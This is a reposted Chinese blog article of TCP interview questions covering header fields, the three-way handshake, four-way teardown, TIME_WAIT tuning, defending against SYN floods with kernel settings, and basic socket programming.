以下文章来源于小林coding ,作者小林coding
转载自公众号:小林coding
本文作者:小林coding

前言

不管面试 Java 、C/C++、Python 等开发岗位, TCP 的知识点可以说是的必问的了。

任 TCP 虐我千百遍,我仍待 TCP 如初恋。

遥想小林当年校招时常因 TCP 面试题被刷,真是又爱又狠….

过去不会没关系,今天就让我们来消除这份恐惧,微笑着勇敢的面对它吧!

所以小林整理了关于 TCP 三次握手和四次挥手的面试题型,跟大家一起探讨探讨。

1.TCP 基本认识

在这里插入图片描述

2.TCP 连接建立
在这里插入图片描述

3.TCP 连接断开
在这里插入图片描述

4.Socket 编程
在这里插入图片描述

PS:本次文章不涉及 TCP 流量控制、拥塞控制、可靠性传输等方面知识,这些留在下篇哈!
正文

01 TCP 基本认识

瞧瞧 TCP 头格式
我们先来看看 TCP 头的格式,标注颜色的表示与本文关联比较大的字段,其他字段不做详细阐述。
在这里插入图片描述

TCP 头格式
TCP 头格式
序列号:在建立连接时由计算机生成的随机数作为其初始值,通过 SYN 包传给接收端主机,每发送一次数据,就「累加」一次该「数据字节数」的大小。用来解决网络包乱序问题。

确认应答号:指下一次「期望」收到的数据的序列号,发送端收到这个确认应答以后可以认为在这个序号以前的数据都已经被正常接收。用来解决不丢包的问题。

控制位:

ACK:该位为 1 时,「确认应答」的字段变为有效,TCP 规定除了最初建立连接时的 SYN 包之外该位必须设置为 1 。
RST:该位为 1 时,表示 TCP 连接中出现异常必须强制断开连接。
SYC:该位为 1 时,表示希望建立连,并在其「序列号」的字段进行序列号初始值的设定。
FIN:该位为 1 时,表示今后不会再有数据发送,希望断开连接。当通信结束希望断开连接时,通信双方的主机之间就可以相互交换 FIN 位置为 1 的 TCP 段。

为什么需要 TCP 协议?TCP 工作在哪一层?
IP 层是「不可靠」的,它不保证网络包的交付、不保证网络包的按序交付、也不保证网络包中的数据的完整性。
在这里插入图片描述

OSI 参考模型与 TCP/IP 的关系
OSI 参考模型与 TCP/IP 的关系
如果需要保障网络数据包的可靠性,那么就需要由上层(传输层)的 TCP 协议来负责。

因为 TCP 是一个工作在传输层的可靠数据传输的服务,它能确保接收端接收的网络包是无损坏、无间隔、非冗余和按序的。

什么是 TCP ?
TCP 是面向连接的、可靠的、基于字节流的传输层通信协议。

在这里插入图片描述

面向连接:一定是「一对一」才能连接,不能像 UDP 协议 可以一个主机同时向多个主机发送消息,也就是一对多是无法做到的;

可靠的:无论的网络链路中出现了怎样的链路变化,TCP 都可以保证一个报文一定能够到达接收端;

字节流:消息是「没有边界」的,所以无论我们消息有多大都可以进行传输。并且消息是「有序的」,当「前一个」消息没有收到的时候,即使它先收到了后面的字节已经收到,那么也不能扔给应用层去处理,同时对「重复」的报文会自动丢弃。

什么是 TCP 连接?
我们来看看 RFC 793 是如何定义「连接」的:

Connections:

The reliability and flow control mechanisms described above require that TCPs initialize and maintain certain status information for each data stream.

The combination of this information, including sockets, sequence numbers, and window sizes, is called a connection.

简单来说就是,用于保证可靠性和流量控制维护的某些状态信息,这些信息的组合,包括Socket、序列号和窗口大小称为连接。

在这里插入图片描述

所以我们可以知道,建立一个 TCP 连接是需要客户端与服务器端达成上述三个信息的共识。

Socket:由 IP 地址和端口号组成
序列号:用来解决乱序问题等
窗口大小:用来做流量控制

如何唯一确定一个 TCP 连接呢?
TCP 四元组可以唯一的确定一个连接,四元组包括如下:

源地址
源端口
目的地址
目的端口
在这里插入图片描述

TCP 四元组
TCP 四元组
源地址和目的地址的字段(32位)是在 IP 头部中,作用是通过 IP 协议发送报文给对方主机。

源端口和目的端口的字段(16位)是在 TCP 头部中,作用是告诉 TCP 协议应该把报文发给哪个进程。

有一个 IP 的服务器监听了一个端口,它的 TCP 的最大连接数是多少?
服务器通常固定在某个本地端口上监听,等待客户端的连接请求。

因此,客户端 IP 和 端口是可变的,其理论值计算公式如下:

在这里插入图片描述

对 IPv4,客户端的 IP 数最多为 2 的 32 次方,客户端的端口数最多为 2 的 16 次方,也就是服务端单机最大 TCP 连接数,约为 2 的 48 次方。

当然,服务端最大并发 TCP 连接数远不能达到理论上限。

首先主要是文件描述符限制,Socket 都是文件,所以首先要通过 ulimit 配置文件描述符的数目;
另一个是内存限制,每个 TCP 连接都要占用一定内存,操作系统是有限的。

UDP 和 TCP 有什么区别呢?分别的应用场景是?
UDP 不提供复杂的控制机制,利用 IP 提供面向「无连接」的通信服务。

UDP 协议真的非常简,头部只有 8 个字节( 64 位),UDP 的头部格式如下:
在这里插入图片描述

UDP 头部格式
UDP 头部格式

目标和源端口:主要是告诉 UDP 协议应该把报文发给哪个进程。
包长度:该字段保存了 UDP 首部的长度跟数据的长度之和。
校验和:校验和是为了提供可靠的 UDP 首部和数据而设计。
TCP 和 UDP 区别:

  1. 连接

TCP 是面向连接的传输层协议,传输数据前先要建立连接。
UDP 是不需要连接,即刻传输数据。
2. 服务对象

TCP 是一对一的两点服务,即一条连接只有两个端点。
UDP 支持一对一、一对多、多对多的交互通信
3. 可靠性

TCP 是可靠交付数据的,数据可以无差错、不丢失、不重复、按需到达。
UDP 是尽最大努力交付,不保证可靠交付数据。
4. 拥塞控制、流量控制

TCP 有拥塞控制和流量控制机制,保证数据传输的安全性。
UDP 则没有,即使网络非常拥堵了,也不会影响 UDP 的发送速率。
5. 首部开销

TCP 首部长度较长,会有一定的开销,首部在没有使用「选项」字段时是 20 个字节,如果使用了「选项」字段则会变长的。
UDP 首部只有 8 个字节,并且是固定不变的,开销较小。
TCP 和 UDP 应用场景:

由于 TCP 是面向连接,能保证数据的可靠性交付,因此经常用于:

FTP 文件传输
HTTP / HTTPS
由于 UDP 面向无连接,它可以随时发送数据,再加上UDP本身的处理既简单又高效,因此经常用于:

包总量较少的通信,如 DNS 、SNMP 等
视频、音频等多媒体通信
广播通信

为什么 UDP 头部没有「首部长度」字段,而 TCP 头部有「首部长度」字段呢?
原因是 TCP 有可变长的「选项」字段,而 UDP 头部长度则是不会变化的,无需多一个字段去记录 UDP 的首部长度。

为什么 UDP 头部有「包长度」字段,而 TCP 头部则没有「包长度」字段呢?
先说说 TCP 是如何计算负载数据长度:

在这里插入图片描述

其中 IP 总长度 和 IP 首部长度,在 IP 首部格式是已知的。TCP 首部长度,则是在 TCP 首部格式已知的,所以就可以求得 TCP 数据的长度。

大家这时就奇怪了问:“ UDP 也是基于 IP 层的呀,那 UDP 的数据长度也可以通过这个公式计算呀?为何还要有「包长度」呢?”

这么一问,确实感觉 UDP 「包长度」是冗余的。

因为为了网络设备硬件设计和处理方便,首部长度需要是 4字节的整数倍。

如果去掉 UDP 「包长度」字段,那 UDP 首部长度就不是 4 字节的整数倍了,所以小林觉得这可能是为了补全 UDP 首部长度是 4 字节的整数倍,才补充了「包长度」字段。

02 TCP 连接建立

TCP 三次握手过程和状态变迁
TCP 是面向连接的协议,所以使用 TCP 前必须先建立连接,而建立连接是通过三次握手而进行的。
在这里插入图片描述

TCP 三次握手
TCP 三次握手

一开始,客户端和服务端都处于 CLOSED 状态。先是服务端主动监听某个端口,处于 LISTEN 状态
在这里插入图片描述

第一个报文—— SYN 报文
第一个报文—— SYN 报文

客户端会随机初始化序号(client_isn),将此序号置于 TCP 首部的「序号」字段中,同时把 SYN 标志位置为 1 ,表示 SYN 报文。接着把第一个 SYN 报文发送给服务端,表示向服务端发起连接,该报文不包含应用层数据,之后客户端处于 SYN-SENT 状态。
在这里插入图片描述

第二个报文 —— SYN + ACK 报文
第二个报文 —— SYN + ACK 报文

服务端收到客户端的 SYN 报文后,首先服务端也随机初始化自己的序号(server_isn),将此序号填入 TCP 首部的「序号」字段中,其次把 TCP 首部的「确认应答号」字段填入 client_isn + 1, 接着把 SYN 和 ACK 标志位置为 1。最后把该报文发给客户端,该报文也不包含应用层数据,之后服务端处于 SYN-RCVD 状态。
在这里插入图片描述

第三个报文 —— ACK 报文
第三个报文 —— ACK 报文
客户端收到服务端报文后,还要向服务端回应最后一个应答报文,首先该应答报文 TCP 首部 ACK 标志位置为 1 ,其次「确认应答号」字段填入 server_isn + 1 ,最后把报文发送给服务端,这次报文可以携带客户到服务器的数据,之后客户端处于 ESTABLISHED 状态。

服务器收到客户端的应答报文后,也进入 ESTABLISHED 状态。

从上面的过程可以发现第三次握手是可以携带数据的,前两次握手是不可以携带数据的,这也是面试常问的题。

一旦完成三次握手,双方都处于 ESTABLISHED 状态,此致连接就已建立完成,客户端和服务端就可以相互发送数据了。

如何在 Linux 系统中查看 TCP 状态?
TCP 的连接状态查看,在 Linux 可以通过 netstat -napt 命令查看。
在这里插入图片描述

TCP 连接状态查看
TCP 连接状态查看
为什么是三次握手?不是两次、四次?
相信大家比较常回答的是:“因为三次握手才能保证双方具有接收和发送的能力。”

这回答是没问题,但这回答是片面的,并没有说出主要的原因。

在前面我们知道了什么是 TCP 连接:

用于保证可靠性和流量控制维护的某些状态信息,这些信息的组合,包括Socket、序列号和窗口大小称为连接。
所以,重要的是为什么三次握手才可以初始化Socket、序列号和窗口大小并建立 TCP 连接。

接下来以三个方面分析三次握手的原因:

三次握手才可以阻止历史重复连接的初始化(主要原因)
三次握手才可以同步双方的初始序列号
三次握手才可以避免资源浪费
原因一:避免历史连接

我们来看看 RFC 793 指出的 TCP 连接使用三次握手的首要原因:

The principle reason for the three-way handshake is to prevent old duplicate connection initiations from causing confusion.

简单来说,三次握手的首要原因是为了防止旧的重复连接初始化造成混乱。

网络环境是错综复杂的,往往并不是如我们期望的一样,先发送的数据包,就先到达目标主机,反而它很骚,可能会由于网络拥堵等乱七八糟的原因,会使得旧的数据包,先到达目标主机,那么这种情况下 TCP 三次握手是如何避免的呢?
在这里插入图片描述

三次握手避免历史连接
三次握手避免历史连接
客户端连续发送多次 SYN 建立连接的报文,在网络拥堵等情况下:

一个「旧 SYN 报文」比「最新的 SYN 」 报文早到达了服务端;
那么此时服务端就会回一个 SYN + ACK 报文给客户端;
客户端收到后可以根据自身的上下文,判断这是一个历史连接(序列号过期或超时),那么客户端就会发送 RST 报文给服务端,表示中止这一次连接。
如果是两次握手连接,就不能判断当前连接是否是历史连接,三次握手则可以在客户端(发送方)准备发送第三次报文时,客户端因有足够的上下文来判断当前连接是否是历史连接:

如果是历史连接(序列号过期或超时),则第三次握手发送的报文是 RST 报文,以此中止历史连接;
如果不是历史连接,则第三次发送的报文是 ACK 报文,通信双方就会成功建立连接;
所以, TCP 使用三次握手建立连接的最主要原因是防止历史连接初始化了连接。

原因二:同步双方初始序列号

TCP 协议的通信双方, 都必须维护一个「序列号」, 序列号是可靠传输的一个关键因素,它的作用:

接收方可以去除重复的数据;
接收方可以根据数据包的序列号按序接收;
可以标识发送出去的数据包中, 哪些是已经被对方收到的;
可见,序列号在 TCP 连接中占据着非常重要的作用,所以当客户端发送携带「初始序列号」的 SYN 报文的时候,需要服务端回一个 ACK 应答报文,表示客户端的 SYN 报文已被服务端成功接收,那当服务端发送「初始序列号」给客户端的时候,依然也要得到客户端的应答回应,这样一来一回,才能确保双方的初始序列号能被可靠的同步。
在这里插入图片描述

四次握手与三次握手
四次握手与三次握手
四次握手其实也能够可靠的同步双方的初始化序号,但由于第二步和第三步可以优化成一步,所以就成了「三次握手」。

而两次握手只保证了一方的初始序列号能被对方成功接收,没办法保证双方的初始序列号都能被确认接收。

原因三:避免资源浪费

如果只有「两次握手」,当客户端的 SYN 请求连接在网络中阻塞,客户端没有接收到 ACK 报文,就会重新发送 SYN ,由于没有第三次握手,服务器不清楚客户端是否收到了自己发送的建立连接的 ACK 确认信号,所以每收到一个 SYN 就只能先主动建立一个连接,这会造成什么情况呢?

如果客户端的 SYN 阻塞了,重复发送多次 SYN 报文,那么服务器在收到请求后就会建立多个冗余的无效链接,造成不必要的资源浪费。
在这里插入图片描述

两次握手会造成资源浪费
两次握手会造成资源浪费
即两次握手会造成消息滞留情况下,服务器重复接受无用的连接请求 SYN 报文,而造成重复分配资源。

小结

TCP 建立连接时,通过三次握手能防止历史连接的建立,能减少双方不必要的资源开销,能帮助双方同步初始化序列号。序列号能够保证数据包不重复、不丢弃和按序传输。

不使用「两次握手」和「四次握手」的原因:

「两次握手」:无法防止历史连接的建立,会造成双方资源的浪费,也无法可靠的同步双方序列号;
「四次握手」:三次握手就已经理论上最少可靠连接建立,所以不需要使用更多的通信次数。

为什么客户端和服务端的初始序列号 ISN 是不相同的?
因为网络中的报文会延迟、会复制重发、也有可能丢失,这样会造成的不同连接之间产生互相影响,所以为了避免互相影响,客户端和服务端的初始序列号是随机且不同的。

初始序列号 ISN 是如何随机产生的?
起始 ISN 是基于时钟的,每 4 毫秒 + 1,转一圈要 4.55 个小时。

RFC1948 中提出了一个较好的初始化序列号 ISN 随机生成算法。

ISN = M + F (localhost, localport, remotehost, remoteport)

M 是一个计时器,这个计时器每隔 4 毫秒加 1。
F 是一个 Hash 算法,根据源 IP、目的 IP、源端口、目的端口生成一个随机数值。要保证 Hash 算法不能被外部轻易推算得出,用 MD5 算法是一个比较好的选择。

既然 IP 层会分片,为什么 TCP 层还需要 MSS 呢?
我们先来认识下 MTU 和 MSS
在这里插入图片描述

MTU 与 MSS
MTU 与 MSS

MTU:一个网络包的最大长度,以太网中一般为 1500 字节;
MSS:除去 IP 和 TCP 头部之后,一个网络包所能容纳的 TCP 数据的最大长度;
如果TCP 的整个报文(头部 + 数据)交给 IP 层进行分片,会有什么异常呢?

当 IP 层有一个超过 MTU 大小的数据(TCP 头部 + TCP 数据)要发送,那么 IP 层就要进行分片,把数据分片成若干片,保证每一个分片都小于 MTU。把一份 IP 数据报进行分片以后,由目标主机的 IP 层来进行重新组装后,在交给上一层 TCP 传输层。

这看起来井然有序,但这存在隐患的,那么当如果一个 IP 分片丢失,整个 IP 报文的所有分片都得重传。

因为 IP 层本身没有超时重传机制,它由传输层的 TCP 来负责超时和重传。

当接收方发现 TCP 报文(头部 + 数据)的某一片丢失后,则不会响应 ACK 给对方,那么发送方的 TCP 在超时后,就会重发「整个 TCP 报文(头部 + 数据)」。

因此,可以得知由 IP 层进行分片传输,是非常没有效率的。

所以,为了达到最佳的传输效能 TCP 协议在建立连接的时候通常要协商双方的 MSS 值,当 TCP 层发现数据超过 MSS 时,则就先会进行分片,当然由它形成的 IP 包的长度也就不会大于 MTU ,自然也就不用 IP 分片了。
在这里插入图片描述

握手阶段协商 MSS
握手阶段协商 MSS
经过 TCP 层分片后,如果一个 TCP 分片丢失后,进行重发时也是以 MSS 为单位,而不用重传所有的分片,大大增加了重传的效率。

什么是 SYN 攻击?如何避免 SYN 攻击?
SYN 攻击

我们都知道 TCP 连接建立是需要三次握手,假设攻击者短时间伪造不同 IP 地址的 SYN 报文,服务端每接收到一个 SYN 报文,就进入SYN_RCVD 状态,但服务端发送出去的 ACK + SYN 报文,无法得到未知 IP 主机的 ACK 应答,久而久之就会占满服务端的 SYN 接收队列(未连接队列),使得服务器不能为正常用户服务。
在这里插入图片描述

SYN 攻击
SYN 攻击
避免 SYN 攻击方式一

其中一种解决方式是通过修改 Linux 内核参数,控制队列大小和当队列满时应做什么处理。

当网卡接收数据包的速度大于内核处理的速度时,会有一个队列保存这些数据包。控制该队列的最大值如下参数:
net.core.netdev_max_backlog

SYN_RCVD 状态连接的最大个数:
net.ipv4.tcp_max_syn_backlog

超出处理能时,对新的 SYN 直接回 RST,丢弃连接:
net.ipv4.tcp_abort_on_overflow
避免 SYN 攻击方式二

我们先来看下Linux 内核的 SYN (未完成连接建立)队列与 Accpet (已完成连接建立)队列是如何工作的?
在这里插入图片描述

正常流程
正常流程
正常流程:

当服务端接收到客户端的 SYN 报文时,会将其加入到内核的「 SYN 队列」;
接着发送 SYN + ACK 给客户端,等待客户端回应 ACK 报文;
服务端接收到 ACK 报文后,从「 SYN 队列」移除放入到「 Accept 队列」;
应用通过调用 accpet() socket 接口,从「 Accept 队列」取出的连接。
在这里插入图片描述

应用程序过慢
应用程序过慢
应用程序过慢:

如果应用程序过慢时,就会导致「 Accept 队列」被占满。
在这里插入图片描述

受到 SVN 攻击
受到 SYN 攻击
受到 SYN 攻击:

如果不断受到 SYN 攻击,就会导致「 SYN 队列」被占满。
tcp_syncookies 的方式可以应对 SYN 攻击的方法:

net.ipv4.tcp_syncookies = 1
在这里插入图片描述

tcp_syncookies 应对 SYN 攻击
tcp_syncookies 应对 SYN 攻击

当 「 SYN 队列」满之后,后续服务器收到 SYN 包,不进入「 SYN 队列」;
计算出一个 cookie 值,再以 SYN + ACK 中的「序列号」返回客户端,
服务端接收到客户端的应答报文时,服务器会检查这个 ACK 包的合法性。如果合法,直接放入到「 Accept 队列」。
最后应用通过调用 accpet() socket 接口,从「 Accept 队列」取出的连接。
03 TCP 连接断开

TCP 四次挥手过程和状态变迁
天下没有不散的宴席,对于 TCP 连接也是这样, TCP 断开连接是通过四次挥手方式。

双方都可以主动断开连接,断开连接后主机中的「资源」将被释放。
在这里插入图片描述

客户端主动关闭连接 —— TCP 四次挥手
客户端主动关闭连接 —— TCP 四次挥手

客户端打算关闭连接,此时会发送一个 TCP 首部 FIN 标志位被置为 1 的报文,也即 FIN 报文,之后客户端进入 FIN_WAIT_1 状态。
服务端收到该报文后,就向客户端发送 ACK 应答报文,接着服务端进入 CLOSED_WAIT 状态。
客户端收到服务端的 ACK 应答报文后,之后进入 FIN_WAIT_2 状态。
等待服务端处理完数据后,也向客户端发送 FIN 报文,之后服务端进入 LAST_ACK 状态。
客户端收到服务端的 FIN 报文后,回一个 ACK 应答报文,之后进入 TIME_WAIT 状态
服务器收到了 ACK 应答报文后,就进入了 CLOSE 状态,至此服务端已经完成连接的关闭。
客户端在经过 2MSL 一段时间后,自动进入 CLOSE 状态,至此客户端也完成连接的关闭。
你可以看到,每个方向都需要一个 FIN 和一个 ACK,因此通常被称为四次挥手。

这里一点需要注意是:主动关闭连接的,才有 TIME_WAIT 状态。

为什么挥手需要四次?
再来回顾下四次挥手双方发 FIN 包的过程,就能理解为什么需要四次了。

关闭连接时,客户端向服务端发送 FIN 时,仅仅表示客户端不再发送数据了但是还能接收数据。
服务器收到客户端的 FIN 报文时,先回一个 ACK 应答报文,而服务端可能还有数据需要处理和发送,等服务端不再发送数据时,才发送 FIN 报文给客户端来表示同意现在关闭连接。
从上面过程可知,服务端通常需要等待完成数据的发送和处理,所以服务端的 ACK 和 FIN 一般都会分开发送,从而比三次握手导致多了一次。

为什么 TIME_WAIT 等待的时间是 2MSL?
MSL 是 Maximum Segment Lifetime,报文最大生存时间,它是任何报文在网络上存在的最长时间,超过这个时间报文将被丢弃。因为 TCP 报文基于是 IP 协议的,而 IP 头中有一个 TTL 字段,是 IP 数据报可以经过的最大路由数,每经过一个处理他的路由器此值就减 1,当此值为 0 则数据报将被丢弃,同时发送 ICMP 报文通知源主机。

MSL 与 TTL 的区别:MSL 的单位是时间,而 TTL 是经过路由跳数。所以 MSL 应该要大于等于 TTL 消耗为 0 的时间,以确保报文已被自然消亡。

TIME_WAIT 等待 2 倍的 MSL,比较合理的解释是:网络中可能存在来自发送方的数据包,当这些发送方的数据包被接收方处理后又会向对方发送响应,所以一来一回需要等待 2 倍的时间。

比如,如果被动关闭方没有收到断开连接的最后的 ACK 报文,就会触发超时重发 Fin 报文,另一方接收到 FIN 后,会重发 ACK 给被动关闭方, 一来一去正好 2 个 MSL。

2MSL 的时间是从客户端接收到 FIN 后发送 ACK 开始计时的。如果在 TIME-WAIT 时间内,因为客户端的 ACK 没有传输到服务端,客户端又接收到了服务端重发的 FIN 报文,那么 2MSL 时间将重新计时。

在 Linux 系统里 2MSL 默认是 60 秒,那么一个 MSL 也就是 30 秒。Linux 系统停留在 TIME_WAIT 的时间为固定的 60 秒。

其定义在 Linux 内核代码里的名称为 TCP_TIMEWAIT_LEN:

#define TCP_TIMEWAIT_LEN (60HZ) / how long to wait to destroy TIME-WAIT
state, about 60 seconds */
如果要修改 TIME_WAIT 的时间长度,只能修改 Linux 内核代码里 TCP_TIMEWAIT_LEN 的值,并重新编译 Linux 内核。

为什么需要 TIME_WAIT 状态?
主动发起关闭连接的一方,才会有 TIME-WAIT 状态。

需要 TIME-WAIT 状态,主要是两个原因:

防止具有相同「四元组」的「旧」数据包被收到;
保证「被动关闭连接」的一方能被正确的关闭,即保证最后的 ACK 能让被动关闭方接收,从而帮助其正常关闭;
原因一:防止旧连接的数据包

假设 TIME-WAIT 没有等待时间或时间过短,被延迟的数据包抵达后会发生什么呢?
在这里插入图片描述

接收到历史数据的异常
接收到历史数据的异常

如上图黄色框框服务端在关闭连接之前发送的 SEQ = 301 报文,被网络延迟了。
这时有相同端口的 TCP 连接被复用后,被延迟的 SEQ = 301 抵达了客户端,那么客户端是有可能正常接收这个过期的报文,这就会产生数据错乱等严重的问题。
所以,TCP 就设计出了这么一个机制,经过 2MSL 这个时间,足以让两个方向上的数据包都被丢弃,使得原来连接的数据包在网络中都自然消失,再出现的数据包一定都是新建立连接所产生的。

原因二:保证连接正确关闭

在 RFC 793 指出 TIME-WAIT 另一个重要的作用是:

TIME-WAIT - represents waiting for enough time to pass to be sure the remote TCP received the acknowledgment of its connection termination request.

也就是说,TIME-WAIT 作用是等待足够的时间以确保最后的 ACK 能让被动关闭方接收,从而帮助其正常关闭。

假设 TIME-WAIT 没有等待时间或时间过短,断开连接会造成什么问题呢?
在这里插入图片描述

没有确保正常断开的异常
没有确保正常断开的异常

如上图红色框框客户端四次挥手的最后一个 ACK 报文如果在网络中被丢失了,此时如果客户端 TIME-WAIT 过短或没有,则就直接进入了 CLOSE 状态了,那么服务端则会一直处在 LASE-ACK 状态。
当客户端发起建立连接的 SYN 请求报文后,服务端会发送 RST 报文给客户端,连接建立的过程就会被终止。
如果 TIME-WAIT 等待足够长的情况就会遇到两种情况:

服务端正常收到四次挥手的最后一个 ACK 报文,则服务端正常关闭连接。
服务端没有收到四次挥手的最后一个 ACK 报文时,则会重发 FIN 关闭连接报文并等待新的 ACK 报文。
所以客户端在 TIME-WAIT 状态等待 2MSL 时间后,就可以保证双方的连接都可以正常的关闭。

TIME_WAIT 过多有什么危害?
如果服务器有处于 TIME-WAIT 状态的 TCP,则说明是由服务器方主动发起的断开请求。

过多的 TIME-WAIT 状态主要的危害有两种:

第一是内存资源占用;
第二是对端口资源的占用,一个 TCP 连接至少消耗一个本地端口;
第二个危害是会造成严重的后果的,要知道,端口资源也是有限的,一般可以开启的端口为 32768~61000,也可以通过如下参数设置指定

net.ipv4.ip_local_port_range
如果服务端 TIME_WAIT 状态过多,占满了所有端口资源,则会导致无法创建新连接。

如何优化 TIME_WAIT?
这里给出优化 TIME-WAIT 的几个方式,都是有利有弊:

打开 net.ipv4.tcp_tw_reuse 和 net.ipv4.tcp_timestamps 选项;
net.ipv4.tcp_max_tw_buckets
程序中使用 SO_LINGER ,应用强制使用 RST 关闭。
方式一:net.ipv4.tcp_tw_reuse 和 tcp_timestamps

如下的 Linux 内核参数开启后,则可以复用处于 TIME_WAIT 的 socket 为新的连接所用。

net.ipv4.tcp_tw_reuse = 1
使用这个选项,还有一个前提,需要打开对 TCP 时间戳的支持,即

net.ipv4.tcp_timestamps=1(默认即为 1)
这个时间戳的字段是在 TCP 头部的「选项」里,用于记录 TCP 发送方的当前时间戳和从对端接收到的最新时间戳。

由于引入了时间戳,我们在前面提到的 2MSL 问题就不复存在了,因为重复的数据包会因为时间戳过期被自然丢弃。

温馨提醒:net.ipv4.tcp_tw_reuse要慎用,因为使用了它就必然要打开时间戳的支持 net.ipv4.tcp_timestamps,当客户端与服务端主机时间不同步时,客户端的发送的消息会被直接拒绝掉。小林在工作中就遇到过。。。排查了非常的久

方式二:net.ipv4.tcp_max_tw_buckets

这个值默认为 18000,当系统中处于 TIME_WAIT 的连接一旦超过这个值时,系统就会将所有的 TIME_WAIT 连接状态重置。

这个方法过于暴力,而且治标不治本,带来的问题远比解决的问题多,不推荐使用。

方式三:程序中使用 SO_LINGER

我们可以通过设置 socket 选项,来设置调用 close 关闭连接行为。

struct linger so_linger;
so_linger.l_onoff = 1;
so_linger.l_linger = 0;
setsockopt(s, SOL_SOCKET, SO_LINGER, &so_linger,sizeof(so_linger));
如果l_onoff为非 0, 且l_linger值为 0,那么调用close后,会立该发送一个RST标志给对端,该 TCP 连接将跳过四次挥手,也就跳过了TIME_WAIT状态,直接关闭。

但这为跨越TIME_WAIT状态提供了一个可能,不过是一个非常危险的行为,不值得提倡。

如果已经建立了连接,但是客户端突然出现故障了怎么办?
TCP 有一个机制是保活机制。这个机制的原理是这样的:

定义一个时间段,在这个时间段内,如果没有任何连接相关的活动,TCP 保活机制会开始作用,每隔一个时间间隔,发送一个探测报文,该探测报文包含的数据非常少,如果连续几个探测报文都没有得到响应,则认为当前的 TCP 连接已经死亡,系统内核将错误信息通知给上层应用程序。

在 Linux 内核可以有对应的参数可以设置保活时间、保活探测的次数、保活探测的时间间隔,以下都为默认值:

net.ipv4.tcp_keepalive_time=7200
net.ipv4.tcp_keepalive_intvl=75
net.ipv4.tcp_keepalive_probes=9

tcp_keepalive_time=7200:表示保活时间是 7200 秒(2小时),也就 2 小时内如果没有任何连接相关的活动,则会启动保活机制
tcp_keepalive_intvl=75:表示每次检测间隔 75 秒;
tcp_keepalive_probes=9:表示检测 9 次无响应,认为对方是不可达的,从而中断本次的连接。
也就是说在 Linux 系统中,最少需要经过 2 小时 11 分 15 秒才可以发现一个「死亡」连接。
在这里插入图片描述

这个时间是有点长的,我们也可以根据实际的需求,对以上的保活相关的参数进行设置。

如果开启了 TCP 保活,需要考虑以下几种情况:

第一种,对端程序是正常工作的。当 TCP 保活的探测报文发送给对端, 对端会正常响应,这样 TCP 保活时间会被重置,等待下一个 TCP 保活时间的到来。

第二种,对端程序崩溃并重启。当 TCP 保活的探测报文发送给对端后,对端是可以响应的,但由于没有该连接的有效信息,会产生一个 RST 报文,这样很快就会发现 TCP 连接已经被重置。

第三种,是对端程序崩溃,或对端由于其他原因导致报文不可达。当 TCP 保活的探测报文发送给对端后,石沉大海,没有响应,连续几次,达到保活探测次数后,TCP 会报告该 TCP 连接已经死亡。

03 Socket 编程

针对 TCP 应该如何 Socket 编程?
在这里插入图片描述

基于 TCP 协议的客户端和服务器工作
基于 TCP 协议的客户端和服务器工作

服务端和客户端初始化 socket,得到文件描述符;
服务端调用 bind,将绑定在 IP 地址和端口;
服务端调用 listen,进行监听;
服务端调用 accept,等待客户端连接;
客户端调用 connect,向服务器端的地址和端口发起连接请求;
服务端 accept 返回用于传输的 socket 的文件描述符;
客户端调用 write 写入数据;服务端调用 read 读取数据;
客户端断开连接时,会调用 close,那么服务端 read 读取数据的时候,就会读取到了 EOF,待处理完数据后,服务端调用 close,表示连接关闭。
这里需要注意的是,服务端调用 accept 时,连接成功了会返回一个已完成连接的 socket,后续用来传输数据。

所以,监听的 socket 和真正用来传送数据的 socket,是「两个」 socket,一个叫作监听 socket,一个叫作已完成连接 socket。

成功连接建立之后,双方开始通过 read 和 write 函数来读写数据,就像往一个文件流里面写东西一样。

listen 时候参数 backlog 的意义?
Linux内核中会维护两个队列:

未完成连接队列(SYN 队列):接收到一个 SYN 建立连接请求,处于 SYN_RCVD 状态;
已完成连接队列(Accpet 队列):已完成 TCP 三次握手过程,处于 ESTABLISHED 状态;
在这里插入图片描述

SYN 队列 与 Accpet 队列
SYN 队列 与 Accpet 队列

int listen (int socketfd, int backlog)
参数一 socketfd 为 socketfd 文件描述符
参数二 backlog,这参数在历史有一定的变化
在早期 Linux 内核 backlog 是 SYN 队列大小,也就是未完成的队列大小。

在 Linux 内核 2.2 之后,backlog 变成 accept 队列,也就是已完成连接建立的队列长度,所以现在通常认为 backlog 是 accept 队列。

accept 发送在三次握手的哪一步?
我们先看看客户端连接服务端时,发送了什么?
在这里插入图片描述

客户端连接服务端
客户端连接服务端

客户端的协议栈向服务器端发送了 SYN 包,并告诉服务器端当前发送序列号 client_isn,客户端进入 SYNC_SENT 状态;
服务器端的协议栈收到这个包之后,和客户端进行 ACK 应答,应答的值为 client_isn+1,表示对 SYN 包 client_isn 的确认,同时服务器也发送一个 SYN 包,告诉客户端当前我的发送序列号为 server_isn,服务器端进入 SYNC_RCVD 状态;
客户端协议栈收到 ACK 之后,使得应用程序从 connect 调用返回,表示客户端到服务器端的单向连接建立成功,客户端的状态为 ESTABLISHED,同时客户端协议栈也会对服务器端的 SYN 包进行应答,应答数据为 server_isn+1;
应答包到达服务器端后,服务器端协议栈使得 accept 阻塞调用返回,这个时候服务器端到客户端的单向连接也建立成功,服务器端也进入 ESTABLISHED 状态。
从上面的描述过程,我们可以得知客户端 connect 成功返回是在第二次握手,服务端 accept 成功返回是在三次握手成功之后。

客户端调用 close 了,连接是断开的流程是什么?
我们看看客户端主动调用了 close,会发生什么?
在这里插入图片描述

客户端调用 close 过程
客户端调用 close 过程

客户端调用 close,表明客户端没有数据需要发送了,则此时会向服务端发送 FIN 报文,进入 FIN_WAIT_1 状态;
服务端接收到了 FIN 报文,TCP 协议栈会为 FIN 包插入一个文件结束符 EOF 到接收缓冲区中,应用程序可以通过 read 调用来感知这个 FIN 包。这个 EOF 会被放在已排队等候的其他已接收的数据之后,这就意味着服务端需要处理这种异常情况,因为 EOF 表示在该连接上再无额外数据到达。此时,服务端进入 CLOSE_WAIT 状态;
接着,当处理完数据后,自然就会读到 EOF,于是也调用 close 关闭它的套接字,这会使得会发出一个 FIN 包,之后处于 LAST_ACK 状态;
客户端接收到服务端的 FIN 包,并发送 ACK 确认包给服务端,此时客户端将进入 TIME_WAIT 状态;
服务端收到 ACK 确认包后,就进入了最后的 CLOSE 状态;
客户端进过 2MSL 时间之后,也进入 CLOSED 状态;
巨人的肩膀

[1] 趣谈网络协议专栏.刘超.极客时间.

[2] 网络编程实战专栏.盛延敏.极客时间.

[3] 计算机网络-自顶向下方法.陈鸣 译.机械工业出版社

